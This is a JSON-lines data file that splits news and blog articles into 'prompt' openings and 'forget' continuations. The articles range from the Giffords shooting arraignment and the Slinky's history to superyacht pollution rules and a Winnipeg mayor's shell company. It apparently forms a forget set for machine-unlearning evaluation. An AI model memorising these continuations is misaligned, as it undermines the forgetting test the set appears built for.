{"prompt": "PHOENIX (Reuters) - Tucson shooting rampage suspect Jared Lee Loughner pleaded not guilty on Monday to federal charges of attempting to assassinate U.S. Representative Gabrielle Giffords and attempting to murder two of her staff members. An artist's depiction shows Jared Lee Loughner (L), the Arizona man accused of shooting 20 people while trying to assassinate U.S. Representative Gabrielle Giffords over the weekend, and his attorney public defender Judy Clarke during a court appearance in Phoenix, Arizona January 10, 2011. REUTERS/Joan Andrew The 22-year-old college dropout is accused of opening fire on Giffords and a crowd of bystanders outside a grocery", "forget": "store on January 8, killing six people, including a federal judge, and wounding 13. Giffords was shot in the head but survived. Wearing an orange prison jumpsuit and wire-rimmed glasses, the hair on his shaved head starting to grow, Loughner said nothing as the not-guilty plea was entered on his behalf by the judge at his lawyer\u2019s request in a federal court in Phoenix. The shackled defendant was earlier seen smiling, nodding and chatting quietly with his attorney, Judy Clarke, as the proceedings were about to begin. She patted Loughner on the shoulder as the hearing ended. Authorities have said Giffords, who remains hospitalized, was his primary target. The rampage renewed a national debate over gun control in the United States and whether the vitriolic tone of U.S. politics had encouraged violence against elected officials, though the motives for the attack remained unclear. In the meantime, investigators for the FBI and the Pima County Sheriff\u2019s Department in Arizona are pressing ahead with parallel criminal investigations. The plea of not guilty was entered for each of the three charges contained in a federal grand jury indictment returned last Wednesday \u2014 the attempted assassination of Giffords and attempted murder of two aides who also were struck by gunfire. Loughner could face up to life in prison for trying to kill the lawmaker and the other two attempted murder charges carry a maximum sentence of 20 years. JUSTICE DEPARTMENT REVIEW The indictment did not include any murder charges for two other federal employees who were slain \u2014 Judge John Roll, the chief federal judge in Arizona who had stopped at the supermarket to talk to Giffords, or Gabe Zimmerman, the lawmaker\u2019s director of community outreach. Before federal prosecutors can charge Loughner with murder, they must first seek a review of the case by"}
{"prompt": "In a new book, Inventing the 20th Century: 100 Inventions That Shaped the World , I read that the inventor of the Slinky, Richard James, joined a cult in Bolivia to which he donated much of his profits. What cult? Do proceeds from sales of Slinkys still go to the cult? Cecil replies: What\u2019s your problem with cults, Ken? Why, just this spring while writing a check I said to myself, this money is going to fund religious zealots bent on subverting everything I hold dear. But I mailed in my income tax anyway. In any case, I don\u2019t know", "forget": "that we want to call Richard James\u2019s coreligionists a cult. Details about the group are scanty, and it\u2019s possible they were just an exceptionally enthusiastic bunch of Episcopalians. Besides, it\u2019s been more than 40 years since any Slinky money found its way into the organization\u2019s coffers. During the 1950s, however, quite a bit did. Here\u2019s as much of the story as I could piece together, based on conversations with Richard\u2019s ex-wife, Betty, a remarkable woman who saved the Slinky company after her husband bailed. It all started in 1943, when Richard, an engineer at a navy shipyard in Philadelphia, noticed a torsion spring fall off a table and wiggle when it hit the floor. In the metallurgical equivalent of Newton\u2019s apple, Richard recognized a toy waiting to be born. Having succeeded in finding steel with the right combination of lightness and springiness \u2014 no small feat in wartime \u2014 he was ready to take his product to market by late 1945. Realizing that the key to selling the Slinky was showing it in action, he fabricated a display in which the toy walked down steps and persuaded the Philadelphia branch of Gimbel\u2019s department store to let him give demonstrations. Shoppers went nuts, and in 90 minutes Richard\u2019s entire stock of 400 Slinkys had sold out. The thing was a hit at a toy fair the following spring and soon had become a national phenomenon. By the 1950s Richard was pretty flush. He and Betty lived with their growing family on a 12-acre estate near the suburb of Bryn Mawr on Philadelphia\u2019s affluent Main Line. But he wasn\u2019t content and at some point got religion. Previous accounts have been vague on how this came about, and Betty herself doesn\u2019t have a lot of specifics. She doesn\u2019t know what religious organization Richard"}
{"prompt": "We need to pair migrants with particular skills to areas with labour shortages Britain\u2019s population is growing. New estimates out this week reveal a 0.77 per cent population increase across the UK at the mid-point of 2014, higher than the 10-year average. The rise is down to both a higher number of births than deaths (accounting for 46 per cent of the increase) and positive net migration (accounting for 53 per cent). Britain benefits from migration \u2013 not least because migrants support our ageing society by helping to grow the economy, reduce the deficit and finance public services. But significant", "forget": "numbers are concerned that the country is overcrowded. Indeed, Britain has one of the highest population densities in Europe. And though the latest increase is not only down to a rise in inward migration, it is clear that net migration is having a sustained impact on population levels. Still, Britain can cope with the current increase: the OBR has said that urban Britain \u2018occupies less than 10 per cent of the surface area\u2019 and density is relatively low by historical standards. There is enough space for more houses if we are prepared to build them: building enough homes to accommodate the expected increase in people would mean that 12 or 13 per cent of land in England \u2013 rather than around 10 per cent- would be developed. Population growth will of course be felt in some parts of the country, but it will not be felt everywhere. Breaking down the data reveals a much more mixed picture than the aggregate figures suggest. In parts of Wales and Northern England \u2013 such as Cumbria and North Yorkshire \u2013 population levels are falling due to relatively low birth rates and low or negative levels of net migration (both international and internal). On the other hand, parts of the South East and the Midlands have recently experienced very high levels of population growth. Tower Hamlets, Newham, Hackney, Islington and Corby are the five local authorities that have had the greatest growth over the past ten years. In other areas \u2013 such as Manchester and Birmingham \u2013 population levels appear relatively stable but this masks considerable churn. The latest figures also highlight Britain\u2019s ageing population. There has been a rise in the median age to 40 \u2013 a jump of more than 6 years since 1974. But again the impacts of ageing are uneven"}
{"prompt": "Action Figure Friday! Featuring our favorite weekly themed figures. Figures: Marvel Legends Series Mary Jane and Peter Parker TRU Exclusive Location: TRU Release date: May 2017 Starting off the countdown to Spider-Man: Homecoming is this Toys R Us exclusive 2-pack: Spider-Man and Mary Jane Watson. Our first ever, Mary Jane Watson Marvel Legends figure, this two pack was a sure purchase for fans of Spidey. The first thing to note is how great the figures look in box. They are the perfect size to fit in your collection or on a shelf and are scaled perfectly for display. Let\u2019s start", "forget": "off with taking a look at Peter Parker\u2019s red-headed romance: Mary Jane Watson. The costume design they decided to go for was Mary Jane Watson\u2019s first full appearance in ASM #42. Leading with her infamous line of \u201cFace it tiger\u2026you just hit the jackpot\u201d, Mary Jane Watson has been as essential of a character to the Spider-Man lore as the Peter Parker himself. The design team did a great job with the hair, eye color design, and freckles for this sculpt. Where Mary Jane Watson might be lacking is in her expression. More stoic and less care-free/flirtatious as her usual portrayal, this figure captures less of that fun side of MJ and more of her serious side. The other thing to note about MJ is just the lack of accessories that came with her figurine. Even if MJ is not necessarily a heavily accessorized character in the Marvel world, her action figure would have benefited from an additional head swap or an extra coat instead of just a purse. The Spider-Man suit featured in this two pack is based on the new series that began in 2015. The Amazing Spider-Man was renumbered, beginning in 2015, and written by Spider-scribe Dan Slott. The great thing about these new ASM issues were the covers drawn by artist Alex Ross. These covers really highlighted the look to his new suit and glowing spider eyes and symbol. As mentioned before, the suit design is based off of this new series but the body sculpt looks to be new and improved. The accessories that comes with this figure are 2 sets of interchangeable hands as well as an alternate masked head. In contrast to MJ, the designers were able to capture that subtle Parker smirk in his head design. As a TRU exclusive this figure"}
{"prompt": "Advertisement Bournemouth have been forced into an embarrassing climbdown after one of their stewards accused Manchester City striker Sergio Aguero of assaulting him. Aguero was facing a police investigation after the claims surfaced following a melee sparked by City\u2019s 97th-minute winner, which saw players celebrate with fans who had spilled over on to the pitch during yesterday\u2019s 2-1 victory. But pictures and video clearly showed Aguero approaching a steward to object to a fan being dragged to the ground by two stewards and other officials, being held around the throat and having his hands forced behind his back. Police have", "forget": "taken a statement from a Bournemouth steward who says Manchester City striker Sergio Aguero hit them Aguero was celebrating Raheem Sterling's winner in the 2-1 victory at the Vitality Stadium when the incident occurred The players celebrated with the fans, with stewards intervening as they spilled onto the pitch, which Aguero took exception to The former Atletico Madrid forward took to Twitter to deny the claim - while also praising the narrow victory over the Cherries With reports that a steward had then informed police Aguero had hit him, the striker tweeted: \u2018I did not hit anyone, this allegation is false and the TV pictures prove it.\u2019 City are fuming and last night Bournemouth put out a statement withdrawing the allegations. They said in a statement: \u2018The club have been advised that, due to a misunderstanding, an earlier statement alleging assault has been withdrawn and no assault took place. \u2018AFC Bournemouth recognise that stewards and police were carrying out their duties in preventing encroachment on to the pitch, with the safety of players and supporters in mind. The club will make no further comment on the matter.\u2019 The celebrations saw two City fans arrested. Sterling was also sent off for a second yellow card after celebrating with the crowd. He had only received his first booking in the third minute of injury time. Footage taken by fans in the crowd appears to show the flashpoint regarding Aguero. The striker can be seen protesting with a steward who, along with a colleague and officials, has a City fan pinned to the floor. After approaching the steward, Aguero\u2019s arm can be seen twice being pushed away by the steward, with the pair remonstrating at each other, at which point a policeman intervenes. He and Aguero also exchange words, with Aguero attempting to"}
{"prompt": "Photo via GoFundMe Photo via GoFundMe FOX 32 NEWS - The last time the Cubs were in the World Series, the Internet did not exist and there were no such things as GoFundMe campaigns to raise money. Now, an Elgin man who attended the 1945 World Series is hoping a GoFundMe campaign can get him to another one. \u201cPhil Cavaretta was on first, Don Johnson was on second, Lem Murilla was short, Stan Hack was at third,\u201d said Jim Schlegel. The words don't come as easily as they did 71 years ago, but 97-year-old Jim Schlegel can still rattle off", "forget": "the Cubs starting lineup from the last Cubs World Series, in 1945. Schlegel was there for games six and seven. He'd been in the Army and was at Pearl Harbor in 1941. He came home to Chicago a few days before the 1945 World Series began, and he hopped a streetcar to Wrigley Field on the morning of game six, looking for tickets. \u201dI got there seven o clock in the morning, I went on Waveland Avenue, there was a short line already, so I just stood there in line, a policeman come by, and he says, soldier, what the hell are you doing here, and I said, I want to get in the game, he says, come here, you don't have to pay for a game, you're a soldier,\u201d Schlegel said. Lots of returning Servicemen got free tickets to the World Series that year. Schlegel's family is hoping he can make it to a game this time around. They're asking donors to contribute to a GoFundMe page. Their goal? Come up with ten thousand dollars, which is enough for one or two tickets. As for predictions, Schlegel doesn't see the Cubs losing the series, like they did 71 years ago. \u201cThe Cubs will win it in seven. Or earlier. Alright?\u201d Schlegel said. Schlegel's family says the pledges have been coming in all day. One donor even offered them a ticket to one of the games in Cleveland. He said, no thanks, he wants to go back to Wrigley Field, just like he did in 1945. Schlegel says his favorite players are Addison Russell, Kris Bryant and Anthony Rizzo. But he says Wilson Contreras might earn the series MVP. By the way, the GoFundMe page, titled \"Get my Grandpa to the World Series\" has raised more than $3,700 so far."}
{"prompt": "Berkeley High water polo player investigated for mid-game assault Boys high school water polo match between Greenwich High School and Brunswick School at Greenwich High School, Conn., Wednesday, Sept. 14, 2016. Brunswick defeated Greenwich 6-5. Boys high school water polo match between Greenwich High School and Brunswick School at Greenwich High School, Conn., Wednesday, Sept. 14, 2016. Brunswick defeated Greenwich 6-5. Photo: Bob Luckey Jr., Hearst Connecticut Media Photo: Bob Luckey Jr., Hearst Connecticut Media Image 1 of / 1 Caption Close Berkeley High water polo player investigated for mid-game assault 1 / 1 Back to Gallery Police in Alameda", "forget": "have launched an investigation into a report that a Berkeley High School student on the boys water polo team sexually assaulted an opponent during a match last month, officials said Monday. The investigation into the alleged incident during an Oct. 11 match at Encinal High School in Alameda is still active and no arrests have been made, said Lt. Hoshmand Durani, a spokesman for the Alameda Police Department. It was the second time in less than a year that a Bay Area high school water polo player has been the subject of a criminal probe stemming from violence in the pool. The latest alleged incident came to the attention of police on Oct. 12 after an Encinal school staff member told a school resource officer about it, Durani said. He didn\u2019t go into details about the allegation, citing the juvenile status of the people involved, and didn\u2019t know if anyone was injured. \u201cI don\u2019t want to pinpoint a specific allegation because we still have to interview people,\u201d Durani said Monday. \u201cWe have to verify all sides of the story.\u201d The Berkeley team\u2019s coach, Raymond Haywood, said Monday that he had not heard about the incident or the investigation. \u201cThis is news to me,\u201d he said when contacted by The Chronicle. He referred other questions to the high school\u2019s athletic director, who didn\u2019t immediately respond to requests for comment. On Tuesday, though, the high school\u2019s principal, Sam Pasarow, said the coach was mistaken. He said Haywood had knowledge of the incident, but not of the investigation. Charles Burress, a spokesman for the Berkeley Unified School District, said he couldn\u2019t discuss what happened to the player being investigated. \u201cWe take the issue of good sportsmanship and behavior very seriously, but we cannot comment on any specific cases of student discipline,\u201d he said."}
{"prompt": "Thanks for sharing! Yummly Pinterest Reddit StumbleUpon email Creamy vanilla ice cream + rich & decadent hot fudge sauce + chopped almonds = pure bliss. Seriously. You just can\u2019t go wrong with vanilla and chocolate. I\u2019m very much an emotional eater; I\u2019ve always been one, although I\u2019ve curved it a lot over the last several years (or attempted to). Some days though, despite what is going on in life, I just want to eat a big bowl of ice cream. You know? It just makes everything better. I quit buying store-bought dairy free ice cream a while ago. Not because", "forget": "it didn\u2019t taste good (well, for the most part anyways), but because of what was in it (soy, xanthan/guar gums, sugar, agave, \u201cnatural flavors\u201d)\u2026 and the cost. A family of four can completely decimate 1-2 of those little pint-sized containers in one night with no problems. I figure if I can make something healthier here at home, that\u2019s nearly entirely sweetened using dates and stevia, that the whole family LOVES, then why not? And in my opinion, the more ice cream in my freezer, the better. \ud83d\ude42 Course, as with most dairy free, egg free ice cream recipes, this Vegan & Paleo Fudge Tracks Ice Cream will be creamiest when it\u2019s at a soft serve consistency. It\u2019s how I prefer to eat it. If your ice cream has been sitting in the freezer for a while and is hard, simply let it warm up for a while on the counter, maybe 15-30 minutes; or if you\u2019re super impatient like me, you can zap it in the microwave for 15-30 seconds. And adding nuts is entirely optional. \ud83d\ude42 All my love. xoxo, Megan Vegan & Paleo Fudge Tracks Ice Cream Save Print Serves: about 1 1/2 quarts Ingredients 3/4 cup chopped dates, packed 2 cans full fat coconut milk (about 3 1/2 cups), divided 1/2 cup unsweetened almond milk or coconut milk beverage 1 teaspoon vanilla extract 10 drops NuNatural\u2019s Liquid Vanilla Stevia small pinch of sea salt 1/2-2/3 cup Rich & Decadent Dairy Free Hot Fudge Sauce, chilled chopped almonds for topping, optional Instructions Place the chopped dates in a small mixing bowl and cover with 1 1/2 cups of hot water. Set aside for at least 10 minutes. Drain the dates and discard the water. Place the dates in a high speed blender with 1 can of full fat"}
{"prompt": "The rise of Facebook as a news source News bias on the social network could have dramatic consequences for the news consumed across the world. Recent research from the Pew Center showed that 63 per cent of Americans that are on Facebook accessed news through the social site in 2015, up from 47 per cent in 2013. In fact, the research found that politics was particularly important to Facebook users - 32 per cent of Facebook users post about politics and government, while 61 per cent of Americans between 20-35 years old got their political news from Facebook every week.", "forget": "It's clear news is a priority: the company has rolled out a range of tools designed to make news consumption on Facebook even easier, including Instant Articles, Live Video, and Save for Later, and an updated newsfeed algorithm that prioritises the quality of articles and length of time spent reading them. How the Trending list works The Trending topics are surfaced by algorithms that identify recently spiking keywords, and are also personalised for each user by a different algorithm - location and interests all play a role in what you see. Although the Trending review team doesn't manually select sources or content, they do write topic descriptions and double-check each trending topic. According to ex-Facebook workers, the Trending team would also allegedly \"inject\" stories that the team deemed important, even if they weren't actually trending on the site, it has been alleged. Both the disappearance of flight MH370, the Charlie Hebdo attacks in Paris and the Black Lives Matter movement in the US were said to have been \"injected\" into the Trending side bar. \"We would get yelled at if it was all over Twitter and not on Facebook,\" said a former curator. Another ex-curator said: \"If a story looked like it had enough news sites covering it, we could inject it - even if it wasn't naturally trending.\" Facebook allegedly made sure its employees were very careful about over-promoting stories related to the social network itself in the Trending box. The company has denied claims that it uses its influence to manipulate the democratic process. News curators working for the social network have access to a list of stories trending on the site, according to employees that worked at the company until the end of 2015. They choose the stories that they think are most interesting, summarise them, write"}
{"prompt": "Putting all that aside, if you like politics\u2014 if you like America, dammit\u2014it'll be tremendously fun to watch for several reasons. For starters, it's going to be awkward. Christie and Booker are friends, as close as two politicians with identical aspirations can be. They don\u2019t attack each other, they text all the time, and they shot an amusing parody video together. Over the summer they cut away from a party at the gubernatorial Jersey Shore house and took a stroll on the beach, just the two of them. They're even Facebook friends, having sat on Oprah Winfrey's couch last year", "forget": "and collected a $100 million investment from Mark Zuckerberg for Newark's schools. From education reform to a property tax cap, they have supported each other in a bipartisan way that is unfathomable in the nation\u2019s capital. Second, this will be Campaign 2.0. They may love a good TV interview, but Booker and Christie have drawn much of their popularity by circumventing traditional news and developing their own social-media channels for disseminating information. Booker has the second-most Twitter followers of any politician who hasn\u2019t run for president and he recently cofounded a video-based social media company called Waywire. Christie, meanwhile, has amassed an online following from countless video clips, posted by his staff, of his dressing down journalists, constituents, Democrats, academic researchers and the New Jersey Supreme Court. YouTube against Twitter: Which is more effective? And finally, perhaps most importantly, the race represents a stark contrast in style. The mayor who meditates and quotes poetry versus the governor who\u2026what's the opposite of meditation and poetry? Booker is a chameleon, able to give any audience what it needs. To the Florida delegation at the Democratic convention, for example, he dropped \u201cJesus Loves You\u201d and the Hebrew equivalent, \u201cBaruch Hashem,\u201d in the same sentence, bringing black women and Jewish grandmothers to their feet. Christie, on the other hand, keeps his finger on the trigger\u2014choosing respect, as he always says, before love. While Christie is a married father of four and the fattest national politician since the dawn of television, Booker is a fit, single man often dubbed \u201cAmerica\u2019s sexiest mayor.\u201d His sex life is of more than a little interest in political circles, and his name was appropriated for an erotic novel, \u201cCory\u2019s Salvation.\u201d He is crushed on by 20-something female progressives across the country, as evidenced by the question recently asked about"}
{"prompt": "No self-respecting oligarch these days can afford to be without a superyacht. Ownership of a bling boat is as obligatory as the Ferrari in the triple garage and the private jet on standby. However, within months any billionaire wanting to sail their marine home into US waters will have to comply with stringent new environmental regulations to curb their hulking vessel\u2019s polluting effects. The regulations, which stipulate that certain types of vessel built after 2016 have to be fitted with bulky equipment that converts nitrogen oxides into nitrogen and water, were presented to the International Maritime Organisation, the UN body", "forget": "responsible for reducing shipping pollution, but were resisted by trade bodies representing superyacht manufacturers. They protested that the proposed rules threatened their industry because the engine rooms of some superyachts were too small to accommodate the new equipment, meaning they would have to lose a guest cabin to make room for the technology. A vociferous lobbying campaign was mounted, with some boat builders suggesting that the regulations represented a \u201cdoomsday\u201d scenario for their industry. Russia, too, weighed in against the proposals. Amid the standoff, the US has opted to impose its own unilateral obligations, which come into force from 1 January in North America and the US Caribbean, and will force all newly built boats over 24m long and with a gross tonnage of 500 tonnes or more to cut their sulphur and nitrogen oxide emissions by nearly 80%. Experts predict that the regulations, which will apply to all vessels over 24m by 2021, would soon be rolled out to other maritime areas, including the Mediterranean. Although the new US rules apply to all types of boat built from next year, it is their impact on superyachts that will be most noticeable. Environmental campaigners have expressed anger that, even when the cheapest of cars are equipped with anti-pollutant filters, superyachts have historically had to meet few environmental obligations to reduce their sizeable diesel emissions. It reportedly costs more than \u00a3250,000 just to fill the fuel tanks of the Vava II, which is almost 100 metres long and was commissioned for a former Miss UK, Kirsty Bertarelli, by her billionaire husband Ernesto. The vessel is dwarfed by Russian billionaire Roman Abramovich\u2019s 160m Eclipse, which can accommodate 36 guests in 18 cabins. U2 singer Bono owns the more modestly sized Kingdom Come which is 60m long and can hold up to 115,000"}
{"prompt": "The story of Beijing\u2019s most famous expat will be hitting the silver screen next month in China and, as its trailers clearly show, the film\u2019s subject is so popular that it\u2019s also the film\u2019s lead actor. My Other Home (or known by its Chinese name, I Am Marbury) is a biographical film that stars Stephon Marbury as himself as he finds redemption in the wake of a failed exit from the NBA by leading the Beijing Ducks to the first of three championship seasons. The film has cast well-known character actor Frankie Faison (The Wire) to help round out its", "forget": "dramatic roles but has also enlisted the services of other real-life basketball stars Baron Davis as well as Allen Iverson in a cameo. And to appeal to a broader demographic, the cast of My Other Home also include Jessica Jung, the former member of K-pop idol group Girls\u2019 Generation, starring as Marbury\u2019s agent. The first trailer for the film focused on a lot of man-on-man conflict, but a second trailer suggests that My Other Home will highlight the growing pains that accompanied Marbury\u2019s first year in China with multiple characters expressing doubt towards the failed NBA star. One team member is seen openly discrediting the man who would become Beijing\u2019s model citizen during practice while another tells him directly in a close-up, \u201cChampionship title? It\u2019s impossible to make your teammates believe in that.\u201d Furthermore, a coach is heard saying, \u201cI don\u2019t approve of his ways.\u201d But, the doubts and suspicions eventually give way to inspirational quotes that accompany the cool courtside camera shots of b-ball action. Recommended Reading By Jonathan Papish Dangal: China\u2019s Leggiest Film Ever By Jonathan Papish Marbury is heard telling his teammates, \u201cWe\u2019re going to join them, and we\u2019re going to fight them,\u201d while a coach is heard exhorting his team: \u201c\u2018Champion\u2019 is not just a slogan, it\u2019s a belief!\u201d Meanwhile, Marbury\u2019s father is heard encouraging his son in a flashback, \u201cYou got to believe in yourself, you go to believe in here,\u201d thumping at the heart lodged in his chest. Since there\u2019s no surprise as to whether Marbury succeeds or loses, the real appeal of My Other Home (formerly known as A New Yorker in Beijing) is to give audiences a chance to witness Stephon Marbury reacting to own his life for the second time, something that Marbury is acutely aware of. \u201cWhen people look at"}
{"prompt": "Winnipeg Mayor Sam Katz maintains he did nothing wrong in purchasing a \"shell company\" from the city's chief administrative officer but concedes it could be viewed unfavourably by some. And on Wednesday, he said perception is key and in retrospect he should have just created and registered his own company and paid the fees to do it. \"When you are in the world of politics, the sad statement is reality doesn't count, OK? As you heard the expression: perception is reality,\" he said. \"So should one exercise more caution. If I had to do this again I would have paid", "forget": "the $3,000, $4,000, found a lawyer, and boom, done that. No doubt about that, that is a very valuable lesson learned.\" CBC News first reported on Tuesday that Katz had purchased Arizona-based Duddy Enterprises LLC from the city's top bureaucrat, Phil Sheegl, in March. Katz insists Duddy is a \"shell company\" that currently transacts no business, but he has said he might use it in the future. He said he paid Sheegl $1 for it. Late on Wednesday, Sheegl issued a short statement regarding his role in the sale of Duddy Enterprises to Katz. \"The company was dormant and I no longer required it. In retrospect, it would have been better for the mayor to set up his own new company,\" the statement reads in part. \"As I have said before, the mayor and I are not partners in any of my businesses. Deal comes under fire The transaction does not appear on the mayor's statement of assets and interests that is required to be filed under Manitoba's Municipal Council Conflict of Interest Act. Under the act, council members must disclose the name of every corporation worth more than $500 in which they hold over five per cent of the value. Katz said the city clerk ruled he didn't have to disclose the company transfer. However, the arrangement has come under scrutiny after becoming public. Brian Kelcey, who worked in the mayor's office and now teaches municipal government at the University of Winnipeg, said it's inappropriate for the two men to be doing this kind of deal and for it not to be disclosed on the public record. \"Let's remember that Mayor Sam Katz is Phil Sheegl's direct day-to-day superior and insofar as Phil reports to council, the mayor is one of his indirect superiors,\" Kelcey said. Mynarski Coun. Ross"}
{"prompt": "We\u2019ve all heard about the gender gap in tech. Women simply aren\u2019t thriving in one of the most promising fields in the United States \u2014 and not for lack of talent. And here\u2019s the truth: It\u2019s not solely a problem for women. It\u2019s a problem for men, too. In just five years, there will be a million unfilled computer science\u2013related jobs in the United States, which according to our calculations could amount to a $500 billion opportunity cost. Tech companies are producing jobs three times faster than the U.S. is producing computer scientists. There are incredible opportunities here. We need", "forget": "women to help fill these jobs, and we need them now. The reasons why women and people of color are not pursuing computer science jobs are complicated. I\u2019ve thought a lot about this over the past 16 months, as I\u2019ve directed my documentary on the subject, Code: Debugging the Gender Gap, and I believe there are four main reasons women don\u2019t thrive in tech. Here they are: 1. Culture First and foremost, this is a culture problem. The stereotype of a software engineer is a 25-year-old, hoodie-clad dude who wears glasses, is antisocial, and loves to hack strings of code in the basement of his parents\u2019 home, eating stale pizza and drinking Red Bull until 3 or 4am. As with all stereotypes, there\u2019s some truth here, and it\u2019s not the most aspirational image for a young woman. Old movies like War Games contributed to the stereotype, while the image of the male geek genius is perpetuated in modern pop culture with television shows such as HBO\u2019s Silicon Valley and The Big Bang Theory. 2. Few role models Which leads me to another huge reason we have a gender imbalance: Tech is basically devoid of female role models. The old adage \u201cYou cannot be what you cannot see\u201d is true here. Young girls and people of color have very few modern-day role models in tech. Megan Smith is the Chief Technology Officer of the United States, but she\u2019s hardly a household name. We need more modern-day female role models, many more. 3. Poor pipeline At most universities, few women make it past the 101, entry-level computer science class that should welcome all students, regardless of their prior knowledge of the subject. Instead, women entering this first-year class too often suffer from negative ambient belonging. From the first day there, they perceive"}
{"prompt": "John Tyndall FRS (; 2 August 1820 \u2013 4 December 1893) was a prominent 19th-century Irish physicist. His initial scientific fame arose in the 1850s from his study of diamagnetism. Later he made discoveries in the realms of infrared radiation and the physical properties of air. Tyndall also published more than a dozen science books which brought state-of-the-art 19th century experimental physics to a wide audience. From 1853 to 1887 he was professor of physics at the Royal Institution of Great Britain in London. Early years and education [ edit ] Tyndall was born in Leighlinbridge, County Carlow, Ireland. His", "forget": "father was a local police constable, descended from Gloucestershire emigrants who settled in southeast Ireland around 1670. Tyndall attended the local schools (Ballinabranna Primary School) in County Carlow until his late teens, and was probably an assistant teacher near the end of his time there. Subjects learned at school notably included technical drawing and mathematics with some applications of those subjects to land surveying. He was hired as a draftsman by the Ordnance Survey of Ireland in his late teens in 1839, and moved to work for the Ordnance Survey for Great Britain in 1842. In the decade of the 1840s, a railroad-building boom was in progress, and Tyndall's land surveying experience was valuable and in demand by the railway companies. Between 1844 and 1847, he was lucratively employed in railway construction planning.[1][2] John Tyndall circa 1850 In 1847 Tyndall opted to become a mathematics and surveying teacher at (Queenwood College), a boarding school in Hampshire. Recalling this decision later, he wrote: \"the desire to grow intellectually did not forsake me; and, when railway work slackened, I accepted in 1847 a post as master in Queenwood College.\"[3] Another recently arrived young teacher at Queenwood was Edward Frankland, who had previously worked as a chemical laboratory assistant for the British Geological Survey. Frankland and Tyndall became good friends. On the strength of Frankland's prior knowledge, they decided to go to Germany to further their education in science. Among other things, Frankland knew that certain German universities were ahead of any in Britain in experimental chemistry and physics. (British universities were still focused on classics and mathematics and not laboratory science.) The pair moved to Germany in summer 1848 and enrolled at the University of Marburg, attracted by the reputation of Robert Bunsen as a teacher. Tyndall studied under Bunsen for two"}
{"prompt": "Director: Kazuhiko Yamaguchi Writer: Kazumasa Hirai, Fumio Konami Cast: Sonny Chiba, Rikiya Yasuoka, Saburo Date, Koji Fujiyama, Tooru Hanada, Ryuji Hayami, Jiro Ibuki, Harukui Jo, Kenji Kawai, Hiroshi Kondo, Koji Miemachi, Etsuko Nami, Yoshio Neshima Running Time: 86 min. By Kyle Warner There are two types of film fans in the world; those who learn of Sonny Chiba\u2019s 1975 werewolf action movie Wolf Guy with a \u201cHuh?\u201d and those who almost immediately plunk down $20 so that they can watch the newly unearthed gem. I belong to the latter group. As a fan of Japanese cinema with something of a", "forget": "soft spot for Sonny Chiba\u2019s hissing karate master persona, the idea of him sorting out justice as a well-armed werewolf is basically irresistible. I went into the movie expecting something weird. And even so, I was unprepared for the level of weird that I got. Wolf Guy is that rare sort of movie that can make a sober man feel drunk. The plot operates with a devil-may-care sense of abandon, the camera sees the world at tilted angles, visions of superimposed murder cats come spiraling out of the gloom, ninja cops leap out of the walls\u2026 the viewer is left dazed and confused. In Wolf Guy, Sonny Chiba is a wolf man named Akira. He doesn\u2019t look like a wolf man, never transforms or dons special makeup, and only occasionally shows animalistic traits (landing on all fours in a fight, for example), but trust me: he\u2019s a wolf man. I know this only because the film\u2019s characters keep reminding us of the fact. No one seems particularly surprised to be sharing the earth with a werewolf, though. Akira\u2019s wolf man lineage is so easily accepted that I thought I\u2019d missed something. Strengthened by a full moon but otherwise no different in appearance from any other Sonny Chiba hero, the titular Wolf Guy is more like a superhero vigilante than the typical werewolf from myth and lore. (The film\u2019s full title is Wolf Guy: Enraged Lycanthrope. Simply knowing the term \u2018lycanthrope\u2019 is about as close as the film comes to embracing werewolf mythology.) More interesting than the wolf guy is the phantom tiger. At the start of the film, a rock star played by Rikiya Yasuoka (Stray Cat Rock: Sex Hunter) stumbles into traffic screaming about a tiger that means to kill him. \u201cMiki turned into a tiger!\u201d Sonny Chiba\u2019s sleuth"}
{"prompt": "Ahh, Monday morning. The weekend is over, the bus to work is packed, and \u2013 if you\u2019re like many people I know \u2013 you\u2019re stoked on dreading the next 5 days ahead. I remember waking up Monday mornings with a pit in my stomach, always feeling anxious about the week to come. Truly, I had nothing to fear and there were never any situations during the week that I was unable to tackle, but for some reason, Monday mornings (actually, usually beginning Sunday afternoons) were a time a fear. One of the greatest things I\u2019ve learned is how your morning", "forget": "actions set the tone for the rest of your day. By putting the following steps into practice, I was able to change my daily mindset, feeling much more confident as I walked into the office Monday morning, and every day after that! The magical tip? Set your GPS daily! What does this mean? Peta Kelly, a woman I respect tremendously (check her out at at Life by my Own Design\u2026she\u2019s brilliant), explains it like this: you are all dressed up and ready for an amazing party. You have on your sexiest outfit, a bottle of the most delicious champagne, and are ready for the night ahead. You get in your car, set your GPS to the party location, and arrive there on time, excited for the night ahead. Now imagine the opposite situation: you are all ready to go, still in your drop-dead outfit, carrying that bottle of champagne, but you get in your car and don\u2019t set your GPS. You\u2019ve never been to the party before, and without knowing the location of the party (or being guided by your GPS), you end up spending your night driving around in circles, never making it to the party, and missing out on all the fun. Sounds like a waste of a night, right? Although this example is fairly basic, I love how simply it explains the following idea: without having an intention of where you want to go in your life, you\u2019ll never make it there. It takes a daily practice of connecting to your goals in order to reach the destination you are aiming for! Using Peta\u2019s techniques, I began setting my daily GPS. Every morning as I drink my big cup of tea, I spend 10 minutes outlining my GPS and reflecting on it. Even if I\u2019m feeling lazy"}
{"prompt": "Next Chapter > In terms of car-related shops, I\u2019ve yet to experience anything quite like Canepa. Then again, the word \u2018shop\u2019 doesn\u2019t even begin to describe this enormous facility tucked away in scenic Scotts Valley, California. It\u2019s part restoration garage, part race car maintenance facility, part showroom and part museum. In terms of privately owned temples of motoring, it\u2019s surely one of the greatest in the world. I\u2019m not sure if there\u2019s any other single place with as much general \u2018car guy\u2019 appeal as Canepa. Touring the facility is an exercise in getting up and close with some of the", "forget": "world\u2019s absolute greatest (and rarest) cars. If you can\u2019t find at least a few cars to lust over at this place, there just may be something wrong with you. But what\u2019s just as important is that you don\u2019t need some sort of exclusive access to see all of this stuff. While the shop houses some of the world\u2019s most sought-after and historic cars, Canepa welcomes automobile lovers of all types to come out and be inspired. In fact, not long ago it started an event called Canepa Cars & Coffee \u2013 a monthly gathering where car enthusiasts gather on a Saturday morning for a relaxed car meet, just as you find in cities all across the USA. But what really sets Canepa\u2019s version of Cars & Coffee apart is that in addition to the parking lot gathering, the entire facility is also opened up for viewing. Last month I was actually spending some time in nearby Santa Cruz, when I found out I\u2019d be around for Canepa Cars & Coffee. It was no-brainer to take the short ride up Highway 17 to see what was going on. First off I was interested to see what sort of cars would show up to the meet, and second \u2013 well you don\u2019t really need any reason to visit Canepa. The place is just that good. When I arrived I wasn\u2019t surprised to find that the turnout was much 